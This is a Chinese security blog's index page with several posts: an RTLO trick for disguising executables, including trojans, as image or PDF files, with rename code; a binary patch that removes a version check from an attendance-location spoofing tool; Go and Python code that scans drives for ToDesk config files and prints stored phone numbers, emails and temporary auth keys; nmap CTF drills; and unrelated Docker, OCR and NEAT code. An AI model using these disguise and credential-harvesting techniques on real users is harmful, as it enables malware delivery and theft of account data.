首页
实用工具
我的旅程
在线壁纸
更多
✒️ 问题反馈
📦 文章统计
🌍 国内镜像
🎬 次元视界
📒 流水账本
🎨 在线 PS
推荐
🕵️ 开源情报
🌆 图片压缩
🍭 资产清洗
💡 我的作品
👤 关于站长
⚔️ 次 元 剑
搜索
1
【工具分享】逆向工具箱 - 次元剑
89,542 阅读
2
【技术分享】PE文件结构分析 ( RVA转FOA )
7,350 阅读
3
【技术分享】NASM x86 Assembly Language
5,982 阅读
4
【技术分享】CK竞技之王游戏辅助制作
3,725 阅读
5
【每日随记】天涯明月刀无限飞修改思路
2,816 阅读
技术分享
CTF解题
英语笔记
数学笔记
网络通信
每日随记
攻防技术
工具分享
Search
标签搜索
Windows
Web安全
Python3
Linux
逆向工程
CTF
红队技术
人工智能
C/C++
黑客工具
Go
密码学
二进制安全
数学
漏洞挖掘
Android
eNSP
渗透测试
蓝队技术
黑客大会
发光的神
累计撰写
160
篇文章
累计收到
103
条评论
首页
栏目
技术分享
CTF解题
英语笔记
数学笔记
网络通信
每日随记
攻防技术
工具分享
页面
实用工具
我的旅程
在线壁纸
✒️ 问题反馈
📦 文章统计
🌍 国内镜像
🎬 次元视界
📒 流水账本
🎨 在线 PS
推荐
🕵️ 开源情报
🌆 图片压缩
🍭 资产清洗
💡 我的作品
👤 关于站长
⚔️ 次 元 剑
搜索到
160
篇与
的结果
2023-08-16
【技术分享】RTLO 伪装程序后缀名
简介Unicode RTLO(Right-to-Left Override)是Unicode字符编码中的一种特殊字符,字符的作用是改变文本的文字流方向,可以使原本从左向右的文字流变为从右向左,我们可以通过这种办法伪装恶意可执行程序,这种办法会有小小的弊端自己发现吧。后缀伪装首先把文件扩展给勾上,方便我们看文件后缀,这里我做了个简单的 exe 程序做演示(可以是木马程序)。然后我们对程序 重命名,注意光标的位置是在 .exe 的前面,这个时候我们就可以插入特殊字符了。我们输入 gnp 也就是 png 的字母反转,重命名好后就可以了。你就会发现,变成了 png 图片格式了,而且还可以运行,再看看任务管理器,哈哈哈 是不是挺意外的进程中直接跑 png,其实有很多小例子,比如:exe 改 bat,改 dll 都是可以被执行的,在任务管理器中都可以看到的(这里就不过多演示了)。scr // 可以显示软件图标 com // 不能显示软件图标 bat cmd // 不能显示软件图标可以发现在内容中会有 exe 字样,是不是感觉很敏感,不怕不怕,以上是我收集到了一些可执行后缀(推荐 scr)。Go 实现package main import ( "fmt" "os" ) func main() { var oldfile string = "Panda.scr" var newfile string = "Panda\xe2\x80\xaegnp.scr" err := os.Rename(oldfile, newfile) if err != nil { fmt.Println("incorrect file naming.", err) } else { fmt.Println("Successful file renaming!") } }Python 实现import os oldfile = "Panda.scr" newfile = "Pandagnp.scr" try: os.rename(oldfile, newfile) print("Successful file renaming!") except OSError as err: print("Incorrect file naming.", err)利用总结1.利用这个办法伪装木马程序,如:pdf,zip,png 等文件后缀。2.利用压缩包自解压执行的功能,配合 RLO 实现压缩包执行伪装。Tips:内嵌一个执行,比如打开伪装的程序,程序运行后木马上线,那么再打开内置的 pdf文档,就不会被怀疑了。
2023年08月16日
614 阅读
0 评论
37 点赞
2023-08-01
【每日随记】TT语音隐身外挂检讨书
检讨书通过这次的教训,我深刻认识到了自己所犯的错误。我不应该为了个人的利益而侵犯他人隐私,制作外挂等违法程序,并将其进行售卖和传播,这严重影响了网络安全和TT语音公司的软件正常运行。对此,我感到十分抱歉。在警官们五天的细心教育中,我已认真地反思了自己的违法行为。这五天间,我不断地提醒自己,不能再犯这样的错误,希望TT语音官方和人民政府能给予我一个改过自新的机会。今后,我会严格要求自己遵纪守法。我将把这次教训视为极其宝贵的经验,并深刻铭记于心,时常警醒自己。我承诺,今后会更加努力学习,加强自己的法律知识,做到不违法、不犯法,我愿意运用我的一技之长,为社会做出贡献。在此,我以这份检讨书来证明我的决心。
2023年08月01日
667 阅读
2 评论
416 点赞
2023-07-15
【技术分享】工学云定位打卡工具 ( 去版本失效 )
简介蘑菇钉打卡工具,它是个32位程序是用易语言写的,主要针对学工云实习打卡,之前实习的时候打比赛去了所以免实习了,但这个软件我也用过一下,主要填写账号和密码能够自定义打卡位置定时打卡之类的,看了下原理是利用Web官网的API进行提交自定义位置来欺骗服务器实现的。今天看到群里说失效了,但我觉得是没钱赚关掉了而已,只会弹出个失效窗口然后关闭程序,对普通人来说就是用不了,反正没事给群友做点好事吧。程序分析通过IDA分析发现,有部分是学工云web上的API接口,直接进去看代码的实现逻辑。这里用了官方的登录接口,来获用户取关键返回信息进行下一个打卡API的参数提交。这里是定义的参数,可以发现 lastAddress 这个参数如果猜的不错的话,就是最后位置如果错了就当我没说,主要目的是来去弹出的,说点废话凑点页数而已(哈哈哈)。弹窗去除正常运行的情况下,是进不去的这个软件是完全关闭了,直接用x64dbg去下弹窗吧。。。最简单的办法就是,字符串搜索了在主模块中进行搜索,可以右键选择也可以 shift + d,看到什么字符串就搜什么吧,这里我搜的是 版本失效。0040D36C | 0F84 3E000000| je 0x40D3B0 | 0040D372 | BB 06000000 | mov ebx,6 | 0040D377 | E8 883CFFFF | call 0x401004 | 0040D37C | 68 01030080 | push 80000301 | 0040D381 | 6A 00 | push 0 | 0040D383 | 68 00000000 | push 0 | 0040D388 | 68 04000080 | push 80000004 | 0040D38D | 6A 00 | push 0 | 0040D38F | 68 9D044D00 | push 0x4D049D | 4D049D:"版本已失效,请进通知群687082138更新" 0040D394 | 68 04000000 | push 4 | 0040D399 | BB 40934100 | mov ebx, 0x419340 | 0040D39E | E8 859E0000 | call 0x417228 | 0040D3A3 | 83C4 34 | add esp,34 | 0040D3A6 | 6A 00 | push 0 | 0040D3A8 | E8 9F9E0000 | call 0x41724C | 0040D3AD | 83C4 04 | add esp,4 |找到 je 改成 jne 就不跳转到弹窗代码上了,也就正常运行软件了。好啦然后打个补丁,软件就可以出院啦,经过测试是可以正常打卡的,我的猜测是正确的。。。{cloud title="蘑菇钉打卡工具(去版本失效 )" type="default" url="https://www.52tt.pro/usr/uploads/2023/07/35926594.zip" password=""/}
2023年07月15日
162 阅读
0 评论
17 点赞
2023-06-06
【每日随记】快速搭建Docker容器环境
简介Docker是一种技术,它可以让你把你的应用程序和它所依赖的其他软件打包到一个叫做镜像的文件中,镜像文件可以在任何操作系统上运行,包括Linux和Windows。通过使用Docker,它可以让你的应用程序放入一个容器中,这个容器与其他容器隔离开来,互相之间不会干扰,就像是一个小型的虚拟机一样(与虚拟机相比它很轻量),也意味着可以轻松地在不同的环境之间移植应用程序,不用担心兼容性问题。安装步骤更新软件源(可选)sudo apt-get update && sudo apt-get upgrade配置国内源(可选)# 进入目录 cd /etc/docker # 新建daemon.json文件 vi daemon.json # 将以下代码写入: { "registry-mirrors": ["https://registry.docker-cn.com"] } # 重新加载 Docker 配置文件 sudo systemctl daemon-reload # 重启 Docker 服务 sudo systemctl restart docker安装Dockersudo apt-get install docker.io启动Docker# 启动 Docker sudo systemctl start docker # 设置自启动 sudo systemctl enable docker查看服务状态service --status-all | grep docker查看版本docker --version搜索镜像docker search dvwa拉取镜像docker pull vulnerables/web-dvwa # 下载dvwa靶机镜像端口映射docker run --rm -it -p 80:2050 vulnerables/web-dvwa # --rm:此参数告诉Docker在容器退出时删除容器,这对于不需要长期存在的临时容器非常有用。 # -it:这两个参数启用交互模式并分配一个伪TTY,使用户能够与容器的终端进行交互。 # -p 80:2050:此参数将容器的端口80映射到主机的端口2050,当你在主机上访问http://127.0.0.1:2050,请求将转发到容器内运行的Web服务器。拉取 Kali 镜像# 拉取 Kali Docker 镜像 docker pull kalilinux/kali-rolling # 运行 Kali Docker 容器并进入 shell 界面 docker run -it kalilinux/kali-rolling /bin/bash基本命令# 列出可用的镜像 docker images# 列出当前运行服务 docker ps # 停止当前服务 docker stop 5cda5257260c # 删除一个镜像 docker rmi [image ID 或名称] # 暴力删除 docker rmi -f [image ID 或名称] # 根据容器ID杀掉容器 docker kill [ID]
2023年06月06日
185 阅读
0 评论
12 点赞
2023-06-05
【技术分享】Python3 图片转文字服务
简介闲的无聊,写了一个基于 easyocr 图片转文字,用到了异步和websocket进行传输,图片是用base64编码后进行上传一次性识别图片文字并返回结果给请求端,在上传过程中图片不会保存到服务器上,这样也就避免了文件上传的安全性,同样在后端也做了一些安全限制,至于更安全些可以采用其它的方式比如验证等等。后端服务代码import easyocr import base64 import hashlib import redis import asyncio import websockets import json max_size = 10 * 1024 * 1024 valid_formats = [ 'data:image/png;base64', 'data:image/jpg;base64' ] reader = easyocr.Reader(['ch_sim', 'en'], gpu=True) cache = redis.StrictRedis( host='127.0.0.1', port=6379, password='@D208522', ) async def ocr(websocket): async for message in websocket: try: if isinstance(message, str): message = json.loads(message) image_data = message.get('image') if not image_data or not any(image_data.startswith(fmt) for fmt in valid_formats): await websocket.send(json.dumps({'error': 'Invalid image format.'})) continue _, image_data = image_data.split(',', 1) image_bytes = base64.b64decode(image_data) if len(image_bytes) > max_size: await websocket.send(json.dumps({'error': 'Image too big.'})) continue cache_key = hashlib.md5(image_bytes).hexdigest() text = cache.get(cache_key) if text: await websocket.send(json.dumps({'status': 200, 'text': text.decode('utf-8')})) continue results = reader.readtext(image_bytes) text = '\n'.join([result[1] for result in results]) cache.set(cache_key, text, ex=3600) await websocket.send(json.dumps({'status': 200, 'text': text})) except Exception as e: print(e) await websocket.send(json.dumps({'status': 500, 'text': 'Unknown error.'})) async def start_server(host: str): async with websockets.serve(ocr, *host, max_size=max_size): await asyncio.Future() if __name__ == '__main__': host = ("127.0.0.1", 5000) asyncio.run(start_server(host))接口请求代码import asyncio import websockets import base64 import json async def send_image(): async with websockets.connect('ws://127.0.0.1:5000/') as websocket: with open('E:\\Desktop\\1.png', 'rb') as f: image_data = f.read() image_base64 = base64.b64encode(image_data).decode('utf-8') message = {'image': 'data:image/png;base64,' + image_base64} await websocket.send(json.dumps(message)) result = await websocket.recv() jsonText = json.loads(result) print(jsonText['text']) if __name__ == '__main__': asyncio.run(send_image())这里我截了一张文字图,用API的方式调用了下,返回的效果还是准确的,有些文字会识别不准确,但整体来说效果还是可以的。前端代码<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>OCR Demo</title> <style> body { background-color: #f0f0f0; } .view { margin: 30px auto; max-width: 400px; padding: 50px; background-color: rgb(255, 255, 255); border-radius: 15px; box-shadow: 0px 3px 10px rgb(0 0 0 / 20%); } .container { display: flex; flex-direction: row; align-items: center; justify-content: space-between; margin-bottom: 20px; } #imageInput { display: none; } label[for="imageInput"] { background-color: #007bff; color: white; padding: 10px; border-radius: 5px; cursor: pointer; box-shadow: 0px 3px 10px rgb(0 0 0 / 20%); } button { width: 60px; background-color: #007bff; color: white; padding: 10px; border: none; border-radius: 5px; cursor: pointer; box-shadow: 0px 3px 10px rgb(0 0 0 / 20%); } button:hover { background-color: #d90000; } #result { border-radius: 10px; font-size: 16px; text-align: center; } </style> </head> <body> <div class="view"> <div class="container"> <label for="imageInput">上传图片</label> <input type="file" id="imageInput" /> <button onclick="submitImage()">提交</button> </div> <div id="result"></div> </div> <script> const websocket = new WebSocket('ws://127.0.0.1:5000'); function submitImage() { const file = document.getElementById("imageInput").files[0]; if (!file) return; const reader = new FileReader(); reader.onload = function (event) { const image_data = event.target.result; websocket.send(JSON.stringify({ image: image_data })); }; reader.readAsDataURL(file); } websocket.onmessage = function (event) { const response = JSON.parse(event.data); if ('text' in response) { document.getElementById('result').innerText = "识别结果:" + response.text; } else if ('error' in response) { document.getElementById('result').innerText = 'Error: ' + response.error; } }; </script> </body> </html>
2023年06月05日
125 阅读
0 评论
8 点赞
2023-06-02
【CTF解题】2023年网络安全B模块练习
简介这套题目没有对应的环境,但是命令是对的,那个位置和命令都是是正确的,答案就按照实际情况来写吧,我这里只是模拟环境做了一遍。任务一1.通过 BT5 对服务器场景 Linux 进行 TCP 同步扫描 (使用工具 Nmap,使用参数 n,使用必须要使用的参数),并将该操作使用命令中必须要使用的参数作为 Flag 提交;(答案:sS)nmap -n -sS 192.168.20.1342.通过 BT5 对服务器场景 Linux 进行 TCP 同步扫描 (使用工具 Nmap,使用参数 n,使用必须要使用的参数),并将该操作显示结果中从下往上数第 4 行的服务器信息作为 Flag 提交;(答案:873)# 这道题的答案:按实际情况来,就是往下数第4个。 nmap -n -sS 192.168.20.1343.通过 BT5 对服务器场景 Linux 不 ping 主机进行扫描(使用工具 Nmap,使用参数 n,使用必须要使用的参数),并将该操作使用命令中必须要使用的参数作为 Flag 提交;(答案:P0)nmap -P0 -n -sS 192.168.20.1344.通过 BT5 对服务器场景 Linux 不 ping 主机进行扫描(使用工具 Nmap,使用参数 n,使用必须要使用的参数),并将该操作显示结果中从下往上数第 10 行的“:”后的数字作为 Flag 提交;(答案:995)nmap -P0 -n -sS 192.168.20.1345.通过BT5对服务器场景Linux进行UDP扫描渗透测试只扫描53,111端口(使用工具Nmap,使用参数 n,使用必须要使用的参数),并将该操作显示结果中 111 端口的状态信息作为 Flag 提交;(答案:closed)nmap -sU -n -p 53, 111 192.168.20.1346.通过 BT5 对服务器场景 Linux 进行滑动窗口扫描渗透测试(使用工具 Nmap,使用必须要使用的参数),并将该操作使用命令中必须要使用的参数作为 Flag 提交;(答案:sW)nmap -sW -n 192.168.20.1347.通过 BT5 对服务器场景 Linux 进行 RPC 扫描扫描渗透测试(使用工具 Nmap,使用必须要使用的参数),并将该操作使用命令中必须要使用的参数作为 Flag 提交;(答案:sR)nmap -n -sR 192.168.20.1348.通过 BT5 对服务器场景 Linux 进行 RPC 扫描扫描渗透测试(使用工具 Nmap,使用必须要使用的参数),并将该操作显示结果中从下往上数第 7 行的服务信息作为 Flag 提交;(答案:http)nmap -n -sR 192.168.20.134总结参数说明-n禁止DNS反向解析-sSTCP扫描-sUUDP扫描-p指定端口-sWTCP端口扫描-sRRPC端口任务二1.通过 BT5 对服务器场景 Linux 进行秘密 FIN 扫描 (使用工具 Nmap,使用参数 n,使用必须要使用的参数),并将该操作使用命令中必须要使用的参数作为 Flag 提交;(答案:sF)nmap -n -sF 192.168.20.1342.通过 BT5 对服务器场景 Linux 进行秘密 FIN 扫描 (使用工具 Nmap,使用参数 n,使用必须要使用的参数),并将该操作显示结果中从下往上数第 7 行的端口信息作为 Flag 提交;(答案:80/tcp)# 端口没那么多,按实际情况来,往上数第7行就是了。 nmap -n -sF 192.168.20.1343.通过 BT5 对服务器场景 Linux 进行圣诞树(Xmas Tree)扫描(使用工具 Nmap,使用参数n,使用必须要使用的参数),并将该操作使用命令中必须要使用的参数作为 Flag 提交;(答案:sX)nmap -n -sX 192.168.20.1344.通过 BT5 对服务器场景 Linux 进行圣诞树(Xmas Tree)扫描(使用工具 Nmap,使用参数n,使用必须要使用的参数),并将该操作显示结果中从下往上数第 5 行的服务名称作为 Flag 提交;(答案:https)nmap -n -sX 192.168.20.1345.通过 BT5 对服务器场景 Linux 使用 SYN 包而不是用 ACK 包进行扫描渗透测试(使用工具Nmap,使用参数 n,使用必须要使用的参数),并将该操作使用命令中必须要使用的参数作为 Flag 提交;(答案:PS)nmap -n -PS 192.168.20.1346.通过 BT5 对服务器场景 Linux 使用 SYN 包而不是用 ACK 包进行扫描渗透测试(使用工具Nmap,使用必须要使用的参数),并将该操作显示结果中从下往上数第 8 行的服务状态作为 Flag 提交;(答案:open)namp -n -PS 192.168.20.1347.通过 BT5 对服务器场景 Linux 进行 ACK 和 ICMP 两种扫描类型并行的扫描渗透测试(使用工具 Nmap,使用必须要使用的参数),并将该操作使用命令中必须要使用的参数作为 Flag提交;(答案:PB)nmap -n -PB 192.168.20.1348.通过 BT5 对服务器场景 Linux 进行 ACK 和 ICMP 两种扫描类型并行的扫描渗透测试(使用工具 Nmap,使用必须要使用的参数),并将该操作显示结果中从下往上数第 3 行的服务名称作为 Flag 提交;(答案:mysql)nmap -n -PB 192.168.20.134总结参数说明-n禁止DNS反向解析-sX圣诞树扫描-PSTCP SYN 扫描-PBACP ICMP 扫描任务三1.在Kali中使用Nmap工具查看本地路由与接口,并将该操作使用的全部命令作为Flag提交;(答案:iflist)nmap -iflist 192.168.20.1342.通过 Kali 对服务器场景 Linux 进行 VNC 服务扫描渗透测试,并将使用的脚本名称作为 Flag 提交(例 MySQL-brute.nse);(答案:vnc-info.nse)cd /usr/share/nmap/scripts ls | grep vnc待更新...FTP弱口令1.在本地 PC 渗透测试平台 kali 中使用 zenmap 工具扫描服务器场景 Server18-1 所在网段(例如:172.16.101.0/24)范围内存活的主机 IP 地址和指定开放的 21、22、23 端口。并将该操作使用的命令中必须要添加的字符串作为 FLAG 提交(忽略 ip 地址);(答案:-p 21,22,23)nmap 192.168.20.134 -p 21,22,232.通过本地 PC 中渗透测试平台 kali 对服务器场景 Server18-1 进行系统服务及版本扫描渗透测试,并将该操作显示结果中 FTP 服务对应的服务端口信息作为 FLAG 提交;(答案:ssh)
2023年06月02日
167 阅读
0 评论
10 点赞
2023-06-01
【信息溯源】Todesk | 向日葵信息溯源
简介在实际的攻防演练中,常常会出现追踪攻击来源并反制取证的情景,假设我们已经成功连上了目标主机,目标主机如果安装了Todesk,那么恭喜你可以通过查看Todesk目录下的 config.ini 文件来获取一些登录等相关信息。Todesk 配置文件downloadtimes 下载Todesk的时间updatePassTime 最近一次使用时间Version Todesk版本号clientid 客户端IDLoginPhone 手机号LoginEmail 邮箱账户只要登录过Todesk,它会把一些信息写入到根目录下的,config.ini配置文件中。这个跟版本没关系的,即使是最新版的Todesk,也会写到配置文件中,向日葵 配置文件向日葵,感兴趣的可以去看一下,里面也有一些信息。Go Todesk 第一版(默认路径)// main.go package main import ( "bufio" "fmt" "os" "strings" ) func main() { config_file := "C:/Program Files/ToDesk/config.ini" file, err := os.Open(config_file) if err != nil { fmt.Printf("Failed to read config file: %v\n", err) return } defer file.Close() config := make(map[string]string) scanner := bufio.NewScanner(file) for scanner.Scan() { line := strings.TrimSpace(scanner.Text()) if len(line) == 0 || strings.HasPrefix(line, ";") || strings.HasPrefix(line, "#") { continue } parts := strings.SplitN(line, "=", 2) if len(parts) != 2 { continue } key, value := strings.TrimSpace(parts[0]), strings.TrimSpace(parts[1]) config[key] = value } download_times := config["downloadtimes"] version := config["Version"] client_id := config["clientId"] temp_auth_pass_ex := config["tempAuthPassEx"] resolution := config["Resolution"] update_pass_time := config["updatePassTime"] private_data := config["PrivateData"] login_phone := config["LoginPhone"] login_email := config["LoginEmail"] fmt.Println("*********** 第一版 ***********") fmt.Printf("电子邮件账户:%s\n", login_email) fmt.Printf("手机号:%s\n", login_phone) fmt.Printf("下载时间:%s\n", download_times) fmt.Printf("最近一次使用ToDesk时间:%s\n", update_pass_time) fmt.Printf("当前屏幕尺寸:%s\n", resolution) fmt.Printf("Todesk版本号:%s\n", version) fmt.Printf("客户端ID:%s\n", client_id) fmt.Printf("私密数据:%s\n", private_data) fmt.Printf("临时认证密钥:%s\n", temp_auth_pass_ex) }你肯会说如果他没安装到默认路径怎么办呢?很简单以下是改进版自动查找路径。Go Todesk 第二版(自动搜索)// main.go package main import ( "bufio" "fmt" "os" "path/filepath" "strconv" "strings" ) const ( targetFilename = "config.ini" ) type ConfigInfo struct { DownloadTimes string Version string ClientID string TempAuthPass string Resolution string UpdatePassTime string PrivateData string LoginPhone string LoginEmail string } func visit(path string, info os.FileInfo, err error) error { if !info.IsDir() && info.Name() == targetFilename && strings.Contains(path, "ToDesk") { configFile, err := os.Open(path) if err != nil { fmt.Println(err) return nil } defer configFile.Close() configInfo := ConfigInfo{} scanner := bufio.NewScanner(configFile) for scanner.Scan() { line := scanner.Text() if strings.HasPrefix(line, ";") || strings.HasPrefix(line, "#") { continue } pair := strings.SplitN(line, "=", 2) if len(pair) != 2 { continue } key := strings.TrimSpace(pair[0]) value := strings.TrimSpace(pair[1]) switch key { case "downloadtimes": configInfo.DownloadTimes = value case "Version": configInfo.Version = value case "clientId": configInfo.ClientID = value case "tempAuthPassEx": configInfo.TempAuthPass = value case "Resolution": configInfo.Resolution = value case "updatePassTime": configInfo.UpdatePassTime = value case "PrivateData": configInfo.PrivateData = value case "LoginPhone": configInfo.LoginPhone = value case "LoginEmail": configInfo.LoginEmail = value default: } } fmt.Println("*********** 第一版 ***********") fmt.Printf("电子邮件账户:%s\n", configInfo.LoginEmail) fmt.Printf("手机号:%s\n", configInfo.LoginPhone) fmt.Printf("下载时间:%s\n", configInfo.DownloadTimes) fmt.Printf("最近一次使用ToDesk时间:%s\n", configInfo.UpdatePassTime) fmt.Printf("当前屏幕尺寸:%s\n", configInfo.Resolution) fmt.Printf("Todesk版本号:%s\n", configInfo.Version) fmt.Printf("客户端ID:%s\n", configInfo.ClientID) fmt.Printf("私密数据:%s\n", configInfo.PrivateData) fmt.Printf("临时认证密钥:%s\n", configInfo.TempAuthPass) os.Exit(0) } return nil } func isNumeric(s string) bool { _, err := strconv.ParseFloat(s, 64) return err == nil } func main() { driveLetters := []string{"C", "D", "E", "F", "G"} for _, driveLetter := range driveLetters { drivePath := fmt.Sprintf("%s:\\", driveLetter) err := filepath.Walk(drivePath, visit) if err != nil { fmt.Printf("访问 %s 目录时出错:%v\n", drivePath, err) } } }好啦,打包一下就能做一些骚操作了。(小声:自己发挥吧)Python 版本(自动搜索)import os import configparser target_filename = 'config.ini' target_strings = ['ToDesk'] drive_letters = ['C', 'D', 'E', 'F', 'G'] for drive_letter in drive_letters: drive_path = f"{drive_letter}:\\" for dirpath, dirnames, filenames in os.walk(drive_path): if target_filename in filenames and all(s in dirpath for s in target_strings): config_path = os.path.join(dirpath, target_filename) config = configparser.ConfigParser() config.read(config_path) download_times = config.get('ConfigInfo', 'downloadtimes') version = config.get('ConfigInfo', 'Version') client_id = config.get('ConfigInfo', 'clientId') temp_auth_pass = config.get('ConfigInfo', 'tempAuthPassEx') resolution = config.get('ConfigInfo', 'Resolution') update_pass_time = config.get('ConfigInfo', 'updatePassTime') private_data = config.get('ConfigInfo', 'PrivateData') login_phone = config.get('ConfigInfo', 'LoginPhone') login_email = config.get('ConfigInfo', 'LoginEmail') print(f"电子邮件账户:{login_email}") print(f"手机号:{login_phone}") print(f"下载时间:{download_times}") print(f"最近一次使用ToDesk时间:{update_pass_time}") print(f"当前屏幕尺寸:{resolution}") print(f"Todesk版本号:{version}") print(f"客户端ID:{client_id}") print(f"私密数据:{private_data}") print(f"临时认证密钥:{temp_auth_pass}") quit()运行效果
2023年06月01日
202 阅读
0 评论
14 点赞
2023-05-18
【技术分享】NEAT 进化神经网络
简介"NeuroEvolution of Augmenting Topologies",简称:(NEAT) 它一种基于遗传算法的神经网络训练方法,通过进化神经网络的结构和权重来提高网络性能,可以将其视为一种进化人工神经网络的实现方式,在NEAT不断地交叉、变异操作下,会生成新一代的神经网络,使用适应性得分筛选出最优秀的网络作为下一代的父代,来逐步改进和优化神经网络的结构和性能。NEAT 基本原理初始化种群:开始时会创建一个初始的神经网络种群,初始种群中的每个个体都是一个具有随机连接和权重的简单神经网络。评估适应性:对于每个个体,使用其神经网络执 行任务(如玩游戏)并评估其适应性得分,适应性得分用于衡量个体在任务中的表现。选择繁殖池:根据适应性得分,选择一部分个体作为繁殖池。得分较高的个体有更大的概率被选中,以保留优秀的基因。交叉和变异操作:选择两个个体,交叉组合基因,随机改变连接和权重。新一代个体:通过交叉和变异操作生成的新个体被加入到新一代的种群中。重复迭代:重复进行第2到第5步,直到达到停止条件(如达到预设的适应性阈值、达到最大迭代次数等)。输出最优个体:在最后一代种群中,选择适应性最高的个体作为最优个体,对应的神经网络结构和权重被视为最佳解决方案。数学公式Sigmoid函数:$\text{sigmoid}(x) = \frac{1}{1 + e^{-x}}$交叉操作:$\text{childMat}[:x], \text{childMat}[x:] = \text{mat1}[:x], \text{mat2}[x:]$变异操作:$\text{mat}[i][j] = \text{random.uniform}(0, 1)$AI 谷歌小恐龙开始的神经网络结构是比较简单的,只有很少的连接点,等玩久了神经网络会慢慢通过遗传操作生成新的结构,然后适应评估筛选出最优秀的个体。AI 接球游戏以上的演示中可以发现,NEAT神经网络是可以快速的适应游戏,通过遗传算法创新性和进化,可以快速优化和调整,在进化的过程表现得十分出色。AI 小车自动驾驶AI小车游戏源码(NEAT算法) 以下实现的移动方块接小球游戏(并没有使用neat,只是一个简单的前馈神经网络)。AI 接球游戏源码# 需要安装第三方库 pip install pygame pip install numpy# main.py 文件 import pickle import random import pygame import math from NeuralNetwork import NeuralNetwork import numpy as np class Bar: def __init__(self): self.length = 120 self.height = 16 self.bar_x = (Game.width-self.length)/2 self.bar_y = Game.height-self.height self.center_x = (Game.width/2) self.center_y = Game.height-(self.height/2) self.radius = 15 self.ball_x = self.center_x self.ball_y = self.bar_x+(self.length)/2-(2*self.radius) self.ball_center_x = random.randrange(15, Game.width-15) self.ball_center_y = random.randrange(Game.height) self.ball_vel_x = 10 self.ball_vel_y = 10 self.bar_vel = 0 self.score = 0 self.fitness = 0 self.distance = 0 self.brain = NeuralNetwork(9, 4, 2) def showBar(self, x, y): pygame.draw.rect(Game.gameDisplay, Game.black, [ x, y, self.length, self.height]) def showBall(self, x, y): pygame.draw.circle(Game.gameDisplay, Game.gray, (int(x), int(y)), self.radius) def predict(self): # Quadrant I if self.ball_center_x > self.center_x: dis1 = self.calculateDistance( (self.ball_center_x), (self.ball_center_y+self.radius)) else: dis1 = -1 dis1 /= 1000 if self.ball_center_x < self.center_x: dis2 = self.calculateDistance( (self.ball_center_x), (self.ball_center_y+self.radius)) else: dis2 = -1 dis2 /= 1000 if self.ball_center_x == self.center_x: dis3 = self.calculateDistance( (self.ball_center_x), (self.ball_center_y+self.radius)) else: dis3 = -1 dis3 /= 1000 vel_x = self.ball_vel_x vel_x /= 1000 vel_y = self.ball_vel_y vel_y /= 1000 dis_wall1 = self.bar_x dis_wall2 = (Game.width) - (self.bar_x) dis_ball1 = math.sqrt((self.ball_center_x-self.bar_x)**2 + (self.ball_center_y+self.radius-(Game.height-self.height))**2) dis_ball2 = math.sqrt((self.ball_center_x-(self.bar_x+self.length)) ** 2+(self.ball_center_y+self.radius-(Game.height-self.height))**2) dis_wall1 /= Game.width dis_wall2 /= Game.width dis_ball1 /= 1000 dis_ball2 /= 1000 inputs = [dis1, dis2, dis3, dis_wall1, dis_wall2, dis_ball1, dis_ball2, vel_x, vel_y] inputs = np.array(inputs) inputs = np.reshape(inputs, (9, 1)) output = self.brain.feedforward(inputs) if output[0] > output[1]: self.moveRight() else: self.moveLeft() def moveLeft(self): if self.bar_x != 0: self.bar_x -= 10 self.center_x -= 10 self.distance += 1 def moveRight(self): if self.bar_x != (Game.width - self.length): self.bar_x += 10 self.center_x += 10 self.distance += 1 def updateVelocity(self): self.ball_center_x += self.ball_vel_x self.ball_center_y += self.ball_vel_y def isColliding(self): if (self.ball_center_y + self.radius) >= (Game.height - self.height): if self.ball_center_x >= self.bar_x and self.ball_center_x <= ( self.bar_x + self.length): return True def isCollidingSide(self): if self.ball_center_x >= Game.width or self.ball_center_x - self.radius <= 0: return True def isCollidingAbove(self): if self.ball_center_y <= 0: return True def calculateDistance(self, x, y): return math.sqrt((self.center_x-x)**2+(self.center_y-y)**2) class Game(): width = 900 height = 600 black = (0, 0, 0) gray = (70, 70, 70) gameDisplay = pygame.display.set_mode((width, height)) population = 200 generation = 1 bars = [] savedBars = [] highscore = [] score = [] def __init__(self): pygame.init() self.clock = pygame.time.Clock() self.bar = Bar() self.gameLoop() def gameLoop(self): gameExit = False font = pygame.font.SysFont(None, 25) for i in range(Game.population): self.bars.append(Bar()) while not gameExit: msg = 'Gen : ' + str(self.generation) screen_text = font.render(msg, True, (0, 0, 0)) self.gameDisplay.blit(screen_text, [10, 10]) for bar in self.bars: bar.predict() bar.updateVelocity() for event in pygame.event.get(): if event.type == pygame.QUIT: gameExit = True if event.type == pygame.KEYDOWN: if event.key == pygame.K_s: print('true') self.showBest() if bar.isColliding(): bar.ball_vel_y = -bar.ball_vel_y bar.score += 10 if bar.bar_x == 0 or bar.bar_x == Game.width-bar.length: bar.score -= 1 if len(self.highscore) > 0: if bar.score >= max(self.highscore): self.bestBar = bar.brain.serialize() self.highscore.append(bar.score) if bar.isCollidingSide(): bar.ball_vel_x = -bar.ball_vel_x if bar.isCollidingAbove(): bar.ball_vel_y = -bar.ball_vel_y if bar.ball_center_y > Game.height: self.savedBars.append(bar) self.score.append(bar.score) self.bars.remove(bar) if len(self.bars) == 0: self.generation += 1 self.highscore.append(max(self.score)) self.score = [] ga = GA(self) ga.nextGen() bar.showBar(bar.bar_x, bar.bar_y) bar.showBall(bar.ball_center_x, bar.ball_center_y) pygame.display.update() self.gameDisplay.fill((255, 255, 255)) self.clock.tick(60) pygame.quit() quit() def showBest(self): self.gameDisplay.fill((135, 206, 250)) bar = Bar() bar.brain = pickle.loads(self.bestBar) gameExit = False while not gameExit: bar.predict() bar.updateVelocity() if bar.isColliding(): bar.ball_vel_y = -bar.ball_vel_y bar.score += 1 if bar.isCollidingSide(): bar.ball_vel_x = -bar.ball_vel_x if bar.isCollidingAbove(): bar.ball_vel_y = -bar.ball_vel_y if bar.ball_center_y > Game.height: return pygame.display.update() self.gameDisplay.fill((135, 206, 250)) self.clock.tick(30) pygame.quit() quit() class GA(Game): def __init__(self, game): self.game = game def nextGen(self): self.calculateFitness() for i in range(len(self.savedBars)): self.game.bars.append(self.pickOne()) self.game.savedBars = [] self.savedBars = [] def calculateFitness(self): sum = 0 self.savedBars = self.game.savedBars for i in range(len(self.savedBars)): self.savedBars[i].fitness = ( self.savedBars[i].score)**2 + (pow(2, self.savedBars[i].distance)) sum += self.savedBars[i].fitness for i in range(len(self.savedBars)): self.savedBars[i].fitness /= sum def pickOne(self): r = random.uniform(0, 1) index = 0 while r > 0: r = r-self.savedBars[index].fitness index += 1 index -= 1 r2 = random.uniform(0, 1) index2 = 0 while r2 > 0: r2 = 